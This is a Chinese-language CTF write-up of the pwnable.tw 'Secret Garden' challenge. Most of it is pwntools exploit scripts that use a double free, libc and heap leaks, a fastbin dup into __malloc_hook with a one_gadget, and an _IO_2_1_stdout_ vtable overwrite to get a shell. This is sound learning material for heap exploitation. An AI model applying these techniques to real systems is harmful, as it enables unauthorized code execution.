Pwnable.tw-secret garden

2024-09-21

Pwnable.tw-Secret Garden

Author

libc

glibc all in one 中沒有 2.23-0ubuntu5
所以去網路上找libc
https://launchpad.net/ubuntu/xenial/amd64/libc6/2.23-0ubuntu5

把i386載下來

1
dpkg -X libc6_2.23-0ubuntu5_amd64.deb .

在libs裡面就有ld跟libc了

patchelf直接patch上去

1
2
patchelf --set-interpreter ld-2.23.so seethefile
patchelf --replace-needed libc.so.6 ./libc-2.23.so seethefile

IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
char v3[8]; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-20h]

v4 = __readfsqword(0x28u);
bin_init(a1, a2, a3);
while ( 1 )
{
menu();
read(0, v3, 4uLL);
switch ( (unsigned int)strtol(v3, 0LL, 10) )
{
case 1u:
create();
break;
case 2u:
show();
break;
case 3u:
delete();
break;
case 4u:
clean();
break;
case 5u:
puts("See you next time.");
exit(0);
default:
puts("Invalid choice");
break;
}
}
}

總共有五個功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int create()
{
_QWORD *flower; // rbx
void *name_chunk; // rbp
_QWORD *v2; // rcx
int v3; // edx
int size[9]; // [rsp+4h] [rbp-24h] BYREF

*(_QWORD *)&size[1] = __readfsqword(0x28u);
size[0] = 0;
if ( cnt > 0x63u )
return puts("The garden is overflow");
flower = malloc(0x28uLL);
*flower = 0LL;
flower[1] = 0LL;
flower[2] = 0LL;
flower[3] = 0LL;
flower[4] = 0LL;
__printf_chk(1LL, "Length of the name :");
if ( (unsigned int)__isoc99_scanf("%u", size) == -1 )
exit(-1);
name_chunk = malloc((unsigned int)size[0]);
if ( !name_chunk )
{
puts("Alloca error !!");
exit(-1);
}
__printf_chk(1LL, "The name of flower :");
read(0, name_chunk, (unsigned int)size[0]);
flower[1] = name_chunk;
__printf_chk(1LL, "The color of the flower :");
__isoc99_scanf("%23s", flower + 2);
*(_DWORD *)flower = 1;
if ( heap_arr[0] )
{
v2 = &heap_arr[1];
v3 = 1;
while ( *v2 )
{
++v3;
++v2;
if ( v3 == 100 )
goto LABEL_13;
}
}
else
{
v3 = 0;
}
heap_arr[v3] = flower;
LABEL_13:
++cnt;
return puts("Successful !");
}

會先malloc一塊0x28大小的chunk(簡稱flower chunk),並初始化該chunk為0
再來讀取size,並malloc(size)

1
2
0x58f085d47470      0x0                 0x30                 Used                None              None
0x58f085d474a0 0x0 0x50 Used None None

先看flower chunk的內部

1
2
3
4
pwndbg> x/10xg 0x58f085d47470
0x58f085d47470: 0x0000000000000000 0x0000000000000031
0x58f085d47480: 0x0000000000000001 0x000058f085d474b0 // 指向下一塊chunk data 那部分存name
0x58f085d47490: 0x0000000000646464 0x0000000000000000 // 存 color

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int delete()
{
_DWORD *v1; // rax
unsigned int idx; // [rsp+4h] [rbp-14h] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-10h]

v3 = __readfsqword(0x28u);
if ( !cnt )
return puts("No flower in the garden");
__printf_chk(1LL, "Which flower do you want to remove from the garden:");
__isoc99_scanf("%d", &idx);
if ( idx <= 0x63 && (v1 = (_DWORD *)heap_arr[idx]) != 0LL )
{
*v1 = 0;
free(*(void **)(heap_arr[idx] + 8LL));
return puts("Successful");
}
else
{
puts("Invalid choice");
return 0;
}
}

會去free name chunk
他會去檢查heap_arr是否為空
free完後會把 heap_arr所指向的 flower chunk設為0
這邊有double free,因為他沒有把heap_arr清空

clean

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 clean()
{
_QWORD *v0; // rbx
_DWORD *v1; // rdi
unsigned __int64 v3; // [rsp+8h] [rbp-20h]

v3 = __readfsqword(0x28u);
v0 = qword_202040;
do
{
v1 = (_DWORD *)*v0;
if ( *v0 && !*v1 )
{
free(v1);
*v0 = 0LL;
--unk_202024;
}
++v0;
}
while ( v0 != &qword_202040[100] );
puts("Done!");
return __readfsqword(0x28u) ^ v3;
}

當name被刪掉的話,會去free flower chunk

show

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int show()
{
__int64 v0; // rbx
__int64 v1; // rax

v0 = 0LL;
if ( unk_202024 )
{
do
{
v1 = qword_202040[v0];
if ( v1 && *(_DWORD *)v1 )
{
__printf_chk(1LL, "Name of the flower[%u] :%s\n", (unsigned int)v0, *(const char **)(v1 + 8));
LODWORD(v1) = __printf_chk(
1LL,
"Color of the flower[%u] :%s\n",
(unsigned int)v0,
(const char *)(qword_202040[v0] + 16LL));
}
++v0;
}
while ( v0 != 100 );
}
else
{
LODWORD(v1) = puts("No flower in the garden !");
}
return v1;
}

分析

上述提到有double free,有任意寫,那目前難點就是leak libc,因為是2.23,leak libc後就可以直接改malloc hook或free hook

那就開排heap吧
我們可以任意malloc一塊任意大小的chunk,用unsorted bin,來leak libc,因為我們可以任意控name chunk,他malloc只會清掉flower chunk,所以想辦法malloc回來就可以leak libc

當初沒有注意到name chunk不會清空,以為flower跟name chunk都會被清空,所以想要利用unlink的方式將chunk推到他清空的範圍外(把flower chunk清空0~4當成name chunk),後來發現不用那麼複雜www

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./secretgarden')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10203")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach

# main_offset = 0x1048
NAUPINFO('main offset',0x1048)
if input('attach?(y/n)') == 'y':
p(r)


### heap I/O

def create(name_size, name, color):
sla(b'Your choice : ', b'1')
sla(b'Length of the name :',str(name_size).encode())
sla(b'The name of flower :',name)
sla(b'The color of the flower :',color)

def show():
sla(b'Your choice : ',b'2')


def delete(idx):
sla(b'Your choice : ',b'3')
sla(b'Which flower do you want to remove from the garden:', str(idx).encode())

def clean():
sla(b'Your choice : ',b'4')

### exploit

create(0x450,b'bbb',b'bbb') #idx 0
create(0x10,b'ddd',b'ddd') #idx 1
delete(0)

### interactive
ita()

這邊先malloc一塊大chunk,再來malloc一塊小chunk,防止unsorted bin chunk跟top chunk合併,之後free掉大chunk

可以看到大chunk fd bk都有libc address

之後malloc一塊 0x450,然而他會先malloc一塊0x30(從unsorted bin裡面割出去)
所以我們先clean,把原來的0x30 free掉,在malloc
就可以乾淨的拿到chunk了

並且我malloc後會蓋到fd,所以我們把fd padding成a,收bk的libc
之後就是老步驟,開attach gdb 找offset

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./secretgarden')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10203")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach

# main_offset = 0x1048
NAUPINFO('main offset',0x1048)
if input('attach?(y/n)') == 'y':
p(r)


### heap I/O

def create(name_size, name, color):
sla(b'Your choice : ', b'1')
sla(b'Length of the name :',str(name_size).encode())
sla(b'The name of flower :',name)
sla(b'The color of the flower :',color)

def show():
sla(b'Your choice : ',b'2')


def delete(idx):
sla(b'Your choice : ',b'3')
sla(b'Which flower do you want to remove from the garden:', str(idx).encode())

def clean():
sla(b'Your choice : ',b'4')

### exploit

create(0x450,b'bbb',b'bbb') #idx 0
create(0x10,b'ddd',b'ddd') #idx 1
delete(0)

clean()

create(0x450,b'aaaaaaa',b'aaa')

show()

rcu(b'flower[0] :')
rcu(b'aaaaaaa\n')
leaklibc = u64(rcl().strip().ljust(8,b'\x00'))
libcbase = leaklibc - 0x3c3b78
NAUPINFO('LEAKLIBC',hex(leaklibc))
NAUPINFO('LIBCBASE',hex(libcbase))

### interactive
ita()

到目前為止已經leaklibc

那就來打double free

先觀察malloc hook 跟 free hook附近

free hook附近一片空白,那就打malloc hook

1
chunk2 -> chunk3 -> chunk 2 -> ...

malloc chunk 2,把chunk偽造於 malloc hook - 0x23

1
chunk 3 -> chunk 2 -> mallochook - 0x23

malloc三次拿到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./secretgarden')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10203")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach

# main_offset = 0x1048
NAUPINFO('main offset',0x1048)
if input('attach?(y/n)') == 'y':
p(r)


### heap I/O

def create(name_size, name, color):
sla(b'Your choice : ', b'1')
sla(b'Length of the name :',str(name_size).encode())
sla(b'The name of flower :',name)
sla(b'The color of the flower :',color)

def show():
sla(b'Your choice : ',b'2')


def delete(idx):
sla(b'Your choice : ',b'3')
sla(b'Which flower do you want to remove from the garden:', str(idx).encode())

def clean():
sla(b'Your choice : ',b'4')

### exploit

create(0x450,b'bbb',b'bbb') #idx 0
create(0x10,b'ddd',b'ddd') #idx 1
delete(0)

clean()

create(0x450,b'aaaaaaa',b'aaa')

show()

rcu(b'flower[0] :')
rcu(b'aaaaaaa\n')
leaklibc = u64(rcl().strip().ljust(8,b'\x00'))
libcbase = leaklibc - 0x3c3b78
NAUPINFO('LEAKLIBC',hex(leaklibc))
NAUPINFO('LIBCBASE',hex(libcbase))

libc_malloc_hook = libcbase + 0x3c3b10
libc_system = libcbase + 0x45390


fakechunk = libc_malloc_hook - 0x23

create(0x60,b'AAA',b'AAA')
create(0x60,b'BBB',b'BBB')


# fastbin : chunk2 -> chunk3 -> chunk 2 -> ...
delete(2)
delete(3)
delete(2)

create(0x60,p64(fakechunk),b'CCC') # chunk 3 -> chunk 2 -> mallochook - 0x23
create(0x60,b'DDD',b'DDD') # get chunk 3
create(0x60,b'EEE',b'EEE') # get chunk 2
create(0x60,b'A'*0x13+p64(libc_system) ,b'P') # get malloc hook - 0x23

# show()

NAUPINFO('MALLOC HOOK',hex(libc_malloc_hook))
NAUPINFO('LIBC SYSTEM',hex(libc_system))


### interactive
ita()

當我打到這裡我發現了一件事
就是system(0x28)
會crash
也就是說透過修改malloc hook成system不可行

嘗試跳onegadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
naup@naup-virtual-machine:~/Desktop/pwn/pwnable/secret_garden$ one_gadget libc_64.so.6 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xef6c4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf0567 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

但試了許多次都沒辦法成功
因為並沒有滿足條件

突然想到之前在看house of roman有個trick,透過觸發 malloc_err 可以觸發到 malloc_hook
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/house-of-roman/

試了一下成功get shell

exploit

本第第二第三第四個one gadget都可以用,但是遠端只有第二個可以用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./secretgarden')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10203")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach

# main_offset = 0x1048
NAUPINFO('main offset',0x1048)
if input('attach?(y/n)') == 'y':
p(r)


### heap I/O

def create(name_size, name, color):
sla(b'Your choice : ', b'1')
sla(b'Length of the name :',str(name_size).encode())
sla(b'The name of flower :',name)
sla(b'The color of the flower :',color)

def show():
sla(b'Your choice : ',b'2')


def delete(idx):
sla(b'Your choice : ',b'3')
sla(b'Which flower do you want to remove from the garden:', str(idx).encode())

def clean():
sla(b'Your choice : ',b'4')

### exploit

create(0x450,b'bbb',b'bbb') #idx 0
create(0x10,b'ddd',b'ddd') #idx 1
delete(0)

clean()

create(0x450,b'aaaaaaa',b'aaa')

show()

rcu(b'flower[0] :')
rcu(b'aaaaaaa\n')
leaklibc = u64(rcl().strip().ljust(8,b'\x00'))
libcbase = leaklibc - 0x3c3b78
NAUPINFO('LEAKLIBC',hex(leaklibc))
NAUPINFO('LIBCBASE',hex(libcbase))

libc_malloc_hook = libcbase + 0x3c3b10
libc_system = libcbase + 0x45390


fakechunk = libc_malloc_hook - 0x23

create(0x60,b'AAA',b'AAA') #idx 2
create(0x60,b'BBB',b'BBB') #idx 3
create(0x80,b'ttt',b'ttt') #idx 4

# fastbin : chunk2 -> chunk3 -> chunk 2 -> ...
delete(2)
delete(3)
delete(2)


onegadget = libcbase + 0xef6c4

create(0x60,p64(fakechunk),b'CCC') # chunk 3 -> chunk 2 -> mallochook - 0xb
create(0x60,b'DDD',b'DDD') # get chunk 3
create(0x60,b'EEE',b'EEE') # get chunk 2
create(0x60,b'A'*0x13+p64(onegadget) ,b'P') # get malloc hook - 0xb

delete(4)
delete(4)


NAUPINFO('MALLOC HOOK',hex(libc_malloc_hook))
NAUPINFO('LIBC SYSTEM',hex(libc_system))

### interactive
ita()

沒想到之前在 house of roman的梗會在這裡用到

File Structure打法

在打的過程中有想到另一種打法,去修改 _IO_2_1_stdout_ vtable,以下是利用方式

leak libc方式跟上方一樣
而leak heap方式是malloc三塊大chunk,用large bin 的fd_nextsize來leak
free三塊後之後malloc三塊
用show leak中間那塊就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *
import os

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./secretgarden')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10203")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach

# main_offset = 0x1048
# NAUPINFO('main offset',0x1048)

if input('attach?(y/n)') == 'y':
p(r)


### heap I/O

def create(name_size, name, color):
sla(b'Your choice : ', b'1')
sla(b'Length of the name :',str(name_size).encode())
sla(b'The name of flower :',name)
sla(b'The color of the flower :',color)

def show():
sla(b'Your choice : ',b'2')


def delete(idx):
sla(b'Your choice : ',b'3')
sla(b'Which flower do you want to remove from the garden:', str(idx).encode())

def clean():
sla(b'Your choice : ',b'4')

### exploit

create(0x450,b'bbb',b'bbb') #idx 0
create(0x10,b'ddd',b'ddd') #idx 1
delete(0)

clean()

create(0x450,b'aaaaaaa',b'aaa')

show()

rcu(b'flower[0] :')
rcu(b'aaaaaaa\n')
leaklibc = u64(rcl().strip().ljust(8,b'\x00'))
libcbase = leaklibc - 0x3c3b78
NAUPINFO('LEAKLIBC',hex(leaklibc))
NAUPINFO('LIBCBASE',hex(libcbase))

libc_malloc_hook = libcbase + 0x3c3b10
libc_system = libcbase + 0x45390

onegadget = libcbase + 0xef6c4


create(0x500,b'aaa',b'aaa') # idx 2
create(0x500,b'aaa',b'aaa') # idx 3
create(0x500,b'aaa',b'aaa') # idx 4

delete(2)
delete(3)
delete(4)

clean()

create(0x500,b'aaaaaaa',b'aaa')
create(0x500,b'cccccccceeeeeee',b'ccc')
create(0x500,b'ddddddd',b'ddd')

show()

leakheap = u64(rcls(11)[-1].strip().ljust(8,b'\x00'))
heapbase = leakheap - 0x1a30
NAUPINFO('LEAK HEAP',hex(leakheap))
NAUPINFO('HEAP BASE',hex(heapbase))

NAUPINFO('MALLOC HOOK',hex(libc_malloc_hook))
NAUPINFO('LIBC SYSTEM',hex(libc_system))
NAUPINFO('ONEGADGET',hex(onegadget))

### interactive
ita()

接下來用 fastbin dup構造任意寫,要寫哪裡觀察一下IO stdout內容,
要在這邊構造fake chunk非常容易,因為有很多的7…,可以當作size來malloc
另外看到_IO_2_1_stdout_+208 那行第二個是vtable

我們目標是攻擊__printf_chk,他會呼叫到 xsputn(vtable中的第八個),我們將vtable指向 IO_2_1_stdout自己本身讓第八個剛好是onegadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};

一步步來,首先是將fake chunk寫在這裡

並將原本stdout上有的蓋回去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *
import os

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./secretgarden')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10203")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach

# main_offset = 0x1048
# NAUPINFO('main offset',0x1048)

if input('attach?(y/n)') == 'y':
p(r)


### heap I/O

def create(name_size, name, color):
sla(b'Your choice : ', b'1')
sla(b'Length of the name :',str(name_size).encode())
sla(b'The name of flower :',name)
sla(b'The color of the flower :',color)

def show():
sla(b'Your choice : ',b'2')


def delete(idx):
sla(b'Your choice : ',b'3')
sla(b'Which flower do you want to remove from the garden:', str(idx).encode())

def clean():
sla(b'Your choice : ',b'4')

### exploit


### leak libc
create(0x450,b'bbb',b'bbb') #idx 0
create(0x10,b'ddd',b'ddd') #idx 1
delete(0)

clean()

create(0x450,b'aaaaaaa',b'aaa')

show()

rcu(b'flower[0] :')
rcu(b'aaaaaaa\n')
leaklibc = u64(rcl().strip().ljust(8,b'\x00'))
libcbase = leaklibc - 0x3c3b78

libc_malloc_hook = libcbase + 0x3c3b10
libc_system = libcbase + 0x45390

onegadget = libcbase + 0xef6c4

### leak heap

create(0x500,b'aaa',b'aaa') # idx 2
create(0x500,b'aaa',b'aaa') # idx 3
create(0x500,b'aaa',b'aaa') # idx 4

delete(2)
delete(3)
delete(4)

clean()

create(0x500,b'aaaaaaa',b'aaa')
create(0x500,b'cccccccceeeeeee',b'ccc')
create(0x500,b'ddddddd',b'ddd')

show()

leakheap = u64(rcls(11)[-1].strip().ljust(8,b'\x00'))
heapbase = leakheap - 0x1a30


### fastbin dup

create(0x60,b'hhh',b'hhh') # idx 5
create(0x60,b'hhh',b'hhh') # idx 6

delete(5)
delete(6)
delete(5)

IO_stdout = libcbase + 0x3c4620
fakechunk = IO_stdout + 0x9d

# chunk 5 -> chunk 6 -> chunk 5 -> ...

payload = p64(0)*2+b'\x00'*3 + p64(0xffffffff)+b'a'*5


create(0x60,p64(fakechunk),b'CCC') # chunk 6 -> chunk 5 -> mallochook - 0xb
create(0x60,b'DDD',b'DDD') # get chunk 6
create(0x60,b'EEE',b'EEE') # get chunk 5
create(0x60,payload,b'P') # get fakechunk


### info

NAUPINFO('LIBCBASE',hex(libcbase))

NAUPINFO('LEAK HEAP',hex(leakheap))
NAUPINFO('HEAP BASE',hex(heapbase))

NAUPINFO('IO STDOUT',hex(IO_stdout))
NAUPINFO('FAKE CHUNK',hex(fakechunk))

NAUPINFO('MALLOC HOOK',hex(libc_malloc_hook))
NAUPINFO('LIBC SYSTEM',hex(libc_system))
NAUPINFO('ONEGADGET',hex(onegadget))

### interactive
ita()

接下來我們在 0xffffffff 後蓋上onegadget (IO stdout + 200),並將vtable改成 IO stdout + 0x90

0x90+0x38(vtable 第八個) = 200
也就是 IO stdout + 200 會變成xsputn

換幾個onegadget測試最後一個會成功

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *
import os

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./secretgarden')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10203")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach

# main_offset = 0x1048
# NAUPINFO('main offset',0x1048)

if input('attach?(y/n)') == 'y':
p(r)


### heap I/O

def create(name_size, name, color):
sla(b'Your choice : ', b'1')
sla(b'Length of the name :',str(name_size).encode())
sla(b'The name of flower :',name)
sla(b'The color of the flower :',color)

def show():
sla(b'Your choice : ',b'2')


def delete(idx):
sla(b'Your choice : ',b'3')
sla(b'Which flower do you want to remove from the garden:', str(idx).encode())

def clean():
sla(b'Your choice : ',b'4')

### exploit


### leak libc
create(0x450,b'bbb',b'bbb') #idx 0
create(0x10,b'ddd',b'ddd') #idx 1
delete(0)

clean()

create(0x450,b'aaaaaaa',b'aaa')

show()

rcu(b'flower[0] :')
rcu(b'aaaaaaa\n')
leaklibc = u64(rcl().strip().ljust(8,b'\x00'))
libcbase = leaklibc - 0x3c3b78

libc_malloc_hook = libcbase + 0x3c3b10
libc_system = libcbase + 0x45390

onegadget = libcbase + 0xf0567

### leak heap

create(0x500,b'aaa',b'aaa') # idx 2
create(0x500,b'aaa',b'aaa') # idx 3
create(0x500,b'aaa',b'aaa') # idx 4

delete(2)
delete(3)
delete(4)

clean()

create(0x500,b'aaaaaaa',b'aaa')
create(0x500,b'cccccccceeeeeee',b'ccc')
create(0x500,b'ddddddd',b'ddd')

show()

leakheap = u64(rcls(11)[-1].strip().ljust(8,b'\x00'))
heapbase = leakheap - 0x1a30


### fastbin dup

create(0x60,b'hhh',b'hhh') # idx 5
create(0x60,b'hhh',b'hhh') # idx 6

delete(5)
delete(6)
delete(5)

IO_stdout = libcbase + 0x3c4620
fakechunk = IO_stdout + 0x9d

# chunk 5 -> chunk 6 -> chunk 5 -> ...

payload = p64(0)*2+b'\x00'*3 + p64(0xffffffff)+p64(onegadget)+p64(0)+p64(IO_stdout + 0x90)


create(0x60,p64(fakechunk),b'CCC') # chunk 6 -> chunk 5 -> mallochook - 0xb
create(0x60,b'DDD',b'DDD') # get chunk 6
create(0x60,b'EEE',b'EEE') # get chunk 5
# create(0x60,payload,b'P') # get fakechunk
